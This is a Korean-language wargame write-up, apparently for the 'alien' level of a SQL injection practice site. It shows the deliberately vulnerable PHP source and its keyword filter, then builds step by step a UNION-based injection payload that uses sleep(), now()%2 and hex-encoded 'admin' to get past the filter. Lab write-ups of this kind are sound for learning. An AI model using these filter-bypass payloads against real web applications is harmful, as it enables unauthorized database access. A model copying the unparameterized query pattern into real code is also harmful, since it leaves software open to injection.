문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~");
  $query = "select id from prob_alien where no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $query2 = "select id from prob_alien where no='{$_GET[no]}'";
  echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
  if($_GET['no']){
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] !== "admin") exit("sandbox1");
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] === "admin") exit("sandbox2");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") exit("sandbox");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") solve("alien");
  }
  highlight_file(__FILE__);
?>

공격 백터

  • no

공격 백터의 검증

  • no : admin, and, or, if, coalesce, case, _, ., prob, time 필터링

코드 설명

if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~");
$query = "select id from prob_alien where no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$query2 = "select id from prob_alien where no='{$_GET[no]}'";
echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";

공격 백터인 no을 검증 후 select id from prob_alien where no={$_GET[no]}select id from prob_alien where no='{$_GET[no]}'에 삽입하게 된다.
그 후 no가 삽입된 쿼리문을 페이지에 출력한다.

 

if($_GET['no']){
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] !== "admin") exit("sandbox1");
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] === "admin") exit("sandbox2");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") exit("sandbox");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") solve("alien");
}

두 쿼리문의 결과가 admin인지 검사를 한다. 하지만 문제 클리어를 할 수 있는 조건은 맨 마지막 조건이라서 앞 3개의 조건을 통과를 시켜야한다.

문제 풀이

문제를 풀기 앞서 조건문과 쿼리문을 좀 더 자세히 알아보도록 하겠다.

 

$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] !== "admin") exit("sandbox1");

첫번째 쿼리문이 admin이 아니면 종료

 

$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] === "admin") exit("sandbox2");

첫번째 쿼리문이 admin이면 종료

 

$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") exit("sandbox");

두번째 쿼리문이 admin이면 종료

 

$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") solve("alien");

두번째 쿼리문이 admin이면 문제 클리어

조건문을 살펴봤지만, 진짜 무슨 소리인지 모르겠다…

 

$query1 : select id from prob_alien where no=
$query2 : select id from prob_alien where no=''

두가지 쿼리문을 살펴보면, no가 ‘’로 감싸져있는지로 나눠져 있다.

 

1=1로 모든 계정을 출력해봤지만, admin이 아닌 듯하다.
admin을 찾아보도록 하겠다.

 

sleep 함수를 이용하여 no을 찾아보려고 했지만 실패하였다.
아마도 테이블 안에 데이터가 없거나 admin 계정이 없어서 이러한 결과가 나온 것으로 판단된다.

 

그래서 나는 Union을 이용하여 admin을 직접 넣어주기로 하였다.
하지만 4가지 조건을 보면 admin O -> admin X, admin X -> admin O으로 각 쿼리문이 이와 같은 조건을 충족시켜야 문제를 클리어할 수 있다.

 

일단 첫번째 조건은 해결하였다. 하지만 두번째 조건문에선 쿼리의 결과가 admin이면 안된다고 한다.
나는 위 조건을 시간을 이용하여 시도할 생각이다.

 

예를 들어서 ,

now 함수를 2로 나눈 나머지를 살펴보면 실행되었던 시간이 짝수이면 0이 나오고, 홀수이면 1이 나오게 된다.
즉, 1초에 따라서 짝수, 홀수가 결정되는 것을 이용하여 char(97 + (now()%2))를 하면 초마다 a와 b가 결정된다.

 

하지만 두번째 조건을 통과를 못하는 것을 볼 수 있다. 아마 실행되는 시간이 1초보다 빨라서 그런 듯 싶었다.
그래서 나는 sleep 함수를 이용하여 1초의 지연을 주기로 하였다.

 

!sleep(1)&&now%2=1로 변경시켰는데, 그 이유는 sleep(1)의 반환값은 0이기 떄문에 !0으로 함으로써 1를 만들어줬다. 이러면 sleep(1)&&now%2이 무조건 0으로 나오는 것을 방지할 수 있다.

 

이제 두번째 쿼리문이 작동할 수 있도록 수정하겠다.

 

나는 SELECT id FROM prob_alien WHERE no='1 UNION SELECT CONCAT(char(97+(!sleep(1)&&now()%2=1)), 0x646d696e)'에서 주석처리와 Union을 한번 더 사용하여 값을 넣어주는 쿼리문을 찾을 수 있었다.

SELECT id FROM prob_alien WHERE no=‘1 UNION SELECT CONCAT(char(97+(!sleep(1)&&now()%2=1)), 0x646d696e)#' UNION SELECT CONCAT(char(97+(!sleep(1)&&now()%2=1)), 0x646d696e)#’

 

 

?no=1 UNION SELECT CONCAT(char(97+(!sleep(1)&&now()%2=1)), 0x646d696e)#' UNION SELECT CONCAT(char(96+(!sleep(1)&&now()%2=1)), 0x646d696e)#

몇번을 시도 끝에 문제를 풀 수 있었다. 위 쿼리문에서 마지막 concat 함수의 첫번째 인자값을 변경을 해줘야한다.

 

그 이유는 admin X -> admin O이기 때문에 bdmin -> admin으로 변경을 해야하는데 수정을 안하면 admin -> bdmin으로 되기 떄문이다.

복사했습니다!